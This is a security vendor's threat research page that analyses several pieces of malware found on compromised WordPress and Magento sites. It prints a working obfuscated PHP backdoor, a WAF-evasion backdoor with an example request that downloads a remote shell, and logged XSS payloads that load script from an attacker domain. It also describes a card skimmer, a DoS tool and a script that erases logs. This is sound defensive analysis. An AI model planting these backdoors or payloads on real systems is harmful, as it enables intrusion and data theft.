Sucuri Labs

The home of our Security Engineering Group, including our Threat Research, Technical Security and Automation teams.

Backdoor Found in Compromised WordPress Environment

Our security analyst Ben Martin recently came across a backdoor in a compromised WordPress installation that had been injected into the first line of the theme file ./wp-content/themes/flatsome/header.php.

<?php 
if(isset($_POST[chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)]) && md5($_POST[chr(108).chr(103).chr(107).chr(102).chr(103).chr(104).chr(100).chr(102).chr(104)]) == chr(101).chr(57).chr(55).chr(56).chr(55).chr(97).chr(100).chr(99).chr(53).chr(50).chr(55).chr(49).chr(99).chr(98).chr(48).chr(102).chr(55).chr(54).chr(53).chr(50).chr(57).chr(52).chr(53).chr(48).chr(51).chr(100).chr(97).chr(51).chr(102).chr(50).chr(100).chr(99)) 
   { $a = chr(109).chr(110);
     $n1 = chr(102).chr(105).chr(108).chr(101).chr(95);
     $n2 = chr(112).chr(117).chr(116).chr(95);
     $n3 = $n1.$n2.chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);
     $b1 = chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
     $b2 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).$b1;
     $z1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
     $z2 = $z1.$b2($_REQUEST[chr(100).chr(49)]);
     $z3 = $b2($_REQUEST[chr(100).chr(49)]);
@$n3($a,$z2);
@include($a);@unlink($a);
$a = chr(47).chr(116).chr(109).chr(112).chr(47).$a;
@$n3($a,$z2);
@include($a);@unlink($a);die();
  } ?>

In this malicious sample, attackers use a well-known method to obfuscate the code called "string concatenation". Through the usage of the PHP function chr(), they store individual decimal values that correlate to the desired ASCII characters — making something like chr(104).chr(105) the equivalent to the ASCII characters for 'hi'.

The beginning of the code has two conditional checks within an if statement that need to be met before the malicious code will be executed:

  1. $_POST parameter with the name asavsdvds must exist in the attacker’s request
  2. $_POST parameter with the name lgkfghdfh must contain a value that whose MD5 hash sum equals e9787adc5271cb0f765294503da3f2dc

When decoded, the following variables show the purpose of this malicious code:

  • $a = mn and later changed to /tmp/mn
  • $n3 = file_put_contents
  • $b2 = base64_decode
  • $z2 = <?php base64_decode($_REQUEST[d1])
  • $n3 = file_put_contents
@$n3($a, $z2);
/*
replacing variables to make it easier to read:
@file_put_contents(mn, base64_decoded value of attacker's 'd1' request)
*/
@include($a);
@unlink($a);

The backdoor uses file_put_contents() to insert PHP code into a file named mn which is delivered to the file through the attacker’s encoded base64 $_REQUEST named d1.

The PHP function include() is used to load the mn file which contains the malicious PHP code delivered by the attacker’s HTTP request. After the mn file coding is included, then it is removed by the PHP function unlink.

The malicious code then repeats the same process — but this time it uses the file location /tmp/mn instead of mn. This is likely done to avoid any possible ownership or permission errors that may occur when using file_put_contents() to generate the file in the attacker’s request.

Since the malicious contents are provided by the attacker in their base64 encoded HTTP request, there’s a number of possibilities as to what PHP code could be getting included in ./wp-content/themes/flatsome/header.php. One example that is easy to demonstrate is passing along a base64 encoded string of the PHP code system(ls);.

Once loaded through the include() function, it will show the attacker the directory file listing.

directory file listing malicious code

The attacker can use a backdoor injection like this to maintain access to the compromised environment to remotely execute code until the injection has been fully removed.

Simple WAF Evasion Backdoor

Our team recently located a malicious PHP file on a compromised website which claims to evade web application firewalls, with the intention of downloading a malicious script to a compromised web-server.

<?php
$a = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$b = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
var_dump($_REQUEST['a']($_REQUEST['b']));
$b($_REQUEST['c'], $a($_REQUEST['d']));
?>

The $a variable contains hexadecimal encoded text for the built-in PHP function file_get_contents which grabs the malicious payload from a third party website.

The $b variable is hexadecimal encoded text for the PHP function file_put_contents, which writes the contents to a file within the compromised environment.

The function var_dump essentially outputs the following _REQUEST variables, which are defined by URL parameters:

a= PHP function
b= function arguments
c= directory path you want to create with the malicious payload
d= location of the malicious payload

An example of these URL parameters in action would be the following URI, where waf.php contains the malicious code.

waf.php?a=system&b=ls+-lhart&c=/var/www/html/wordpress/shell.php&d=https%3A%2F%2Fpastebin.com%2Fraw%2Fh5fBwuqW

example url parameters on a simple waf evasion backdoor

If the website isn’t protected behind a firewall, then the PHP function system is executed along with its argument (in this case ls -lhart) and the malicious payload is downloaded from the defined source to the defined location — all of which is set in the GET request.

This malware tries to be evasive by using the hexadecimal format for its PHP functions of file_get_contents and file_put_contents. More importantly, it allows the attacker to provide the PHP function system through a HTTP GET URL parameter so that it isn’t stored in the file itself. This can help to prevent certain server side malware scanners from detecting it as malicious, since it does nothing without the crafted GET request.

While advertised as a method of bypassing WAFs - it is easily flagged as a RFI/LFI attempt by the Sucuri Firewall.

firewall blocking malicious behavior for backdoor

DoS Tool: 403.php

One of our analysts, Kaushal Bhavsar, found a malicious DoS file within a compromised website’s filesystem under the filename 403.php.

malicious DoS under the filename 403.php

The file attempts to conceal itself from casual viewers by loading a blank white page whenever a visitor loads the file directly in their browser.

To execute malicious code in the file, the visitor needs to pass two URL parameter values, time and host, through a submitted GET request. These two variables store modifiable values for the DoS attack, which the attacker can execute when they submit their request.

The time and host values let the PHP script know how long to run the attack (time) and against whom (host). Once the attacker knows the values they want to use, they can simply submit a GET request with the special parameter values.

Here is an example of a successful attack request shown in the browser, but this request could be sent from any HTTP client.

malicious DoS using GET request with special parameter values

A single website with this malicious file is not much of a threat to most servers and can be quickly blocked, but unprotected servers or clients could face issues if under attack from many different infected websites or host devices (e.g botnet).

The tool performs the attack by flooding UDP packets to the host through a port randomly chosen between 1-65000.

malicious DoS tool performs attack by flooding UDP packets to the host

Magento Skimmer Found Loading from magecart[.]net

We recently came across a simple Magento credit card skimmer found on a compromised website that was loading from the malicious domain magecart[.]net.

The malicious domain was first registered on December 8th, 2019 and is likely a blatant play on the hacker groups known under the collective name MageCart. This renowned group of threat actors regularly targets online shopping carts to steal payment and personal information.

We located the malicious file at ./pub/static/frontend/Infortis/ultimo/en_US/Magento_Checkout/template/billing-address.html on the compromised Magento website.

compromised magento website credit card skimmer iframe

The skimmer loads an iframe from a single line from HTML file onto the checkout page of a compromised Magento website, offering users a legitimate-looking area to input payment purchase information.

checkout form field on compromised magento site

A form field is then used to collect the payment card details and personal information of the victim.

Once all fields have been populated with data, a click event from the form submission triggers the function pay_save to exfiltrate the unencrypted stolen information back to the malicious domain magecart[.]net.

compromised magento website credit card skimmer data exfiltration

Data exfiltration is performed using JavaScript to capture the input from the form’s interface, then collects and condenses the information to the result variable so that it can finally be sent to a PHP script on the malicious magecart[.]net domain.

Clean Logs After Rooting Bash Script

During an active research investigation, we found an interesting bash script described by the author as Clean Logs After Rooting.

This script is used once an attacker has gained unauthorized root access to the server to scrub logs and prevent a website administrator from detecting such unauthorized access.

First, the script stops the server’s logging service located at /etc/init.d/rsyslog.

clean logs after root disable /etc/init.d/rsyslog

It then echos matikan system log, the word for disable in Indonesian, to notify the attacker that the service has stopped.

clean logs after root overwrite log data

After a 2 second pause, it cycles through a list of common logs located in the /var/log/ directory to see if they exist or not:

wtmp
btmp
lastlog
messages
secure
up2date
tallylog
mcelog
kernellog
cron

If the logs exist, then the script uses echo > on the log entry files to tell the system to echo empty file content, essentially overwriting all existing log data for those files.

It then accesses logs from the web server and overwrites all existing log data from those locations.

clean logs after root disable common logs

Because logging has been disabled, no additional information will be populated in any of the log locations.

The script also contains some special commands for cPanel environments. The bash terminal command chattr -ia is used to unlock the cPanel files by changing the file attributes. It also wipes data from cPanel logs used for monitoring various server activity.

clean logs after root wipe cPanel

To further prevent detection of unauthorized access, the script then clears the bash history with the history -c command.

This bash script is especially dangerous for VPS and dedicated environments, since root access is not controlled by the web host and they are typically not as hardened as shared hosting servers.

WordPress Mass Password Changer

Our team recently came across a password changer for WordPress that allows attackers to modify WordPress user passwords within a compromised environment.

wordpress mass password changer php file

By default, the tool is set to target user ID=1, which is almost always the administrative user. This tool is fairly customizable, allowing attackers to modify or target all usernames and passwords within the WordPress installation.

wordpress mass password changer user interface

To initiate a password change, the attacker defines the location of the wp-config.php file in the Config List.

When the Submit button is pressed, the script sends a POST request containing data like the username and password to the PHP file.

wordpress mass password changer success notification

The URL is then gathered from the config list provided in the interface, and pulls database information from wp-config.php to change the username and information for the profile.

The function file_get_contents2 is a custom function that grabs the data using curl and drops the changes into a pchangedlist.txt file for future reference.

Plugins added to Malware Campaign: November 2019

This is an update for the long-lasting malware campaign targeting vulnerable plugins since January. Please check our previous updates below:

Plugins Under Attack: November 2019

Although attackers focused on infecting sites via attack vectors described here, we were able to detect the same behavior aiming plugins at the very end of this month.

Plugins that are continuing to be leveraged by attackers are:

Plugin Payloads Added to the Campaign

Folders

46.101.174.128 - type=attachment&width=%3C%2Fstyle%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27https%3A%2F%2Ftop.worldctraffic.com%2Ftop%27%3E%3C%2Fscript%3E%3Cstyle%3E [23/Nov/2019:12:19:33 +0000] "POST /wp-admin/admin-ajax.php?action=wcp_change_post_width HTTP/1.1" 

Simple Fields

46.101.174.128 - action=simple_fields_do_import&import-json=%7B%0A++++%22field_groups%22%3A+%7B%0A++++++++%221%22%3A+%7B%0A++++++++++++%22id%22%3A+1%2C%0A++++++++++++%22key%22%3A+%22test%22%2C%0A++++++++++++%22slug%22%3A+%22test%22%2C%0A++++++++++++%22name%22%3A+%22test%22%2C%0A++++++++++++%22description%22%3A+%22%22%2C%0A++++++++++++%22repeatable%22%3A+false%2C%0A++++++++++++%22fields%22%3A+%5B%5D%2C%0A++++++++++++%22fields_by_slug%22%3A+%5B%5D%2C%0A++++++++++++%22deleted%22%3A+false%2C%0A++++++++++++%22gui_view%...skipped...%22deleted%22%3A+false%2C%0A++++++++++++%22hide_editor%22%3A+false%2C%0A++++++++++++%22added_with_code%22%3A+false%2C%0A++++++++++++%22field_groups_count%22%3A+1%0A++++++++%7D%0A++++%7D%2C%0A++++%22post_type_defaults%22%3A+%5B%0A++++++++false%0A++++%5D%0A%7D&import-what=textarea&simple-fields-import-type=replace [23/Nov/2019:13:02:05 +0000] "POST /wp-admin/admin-post.php HTTP/1.1" 

Malicious Domains and IPs:

IPs:

198.12.70.83
89.238.167.46
181.58.70.192
84.237.142.110
91.215.187.211
46.101.174.128

Domains Injected:

  • https[:]//top[.]worldctraffic[.]com/cas?/java.js?t=2&

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.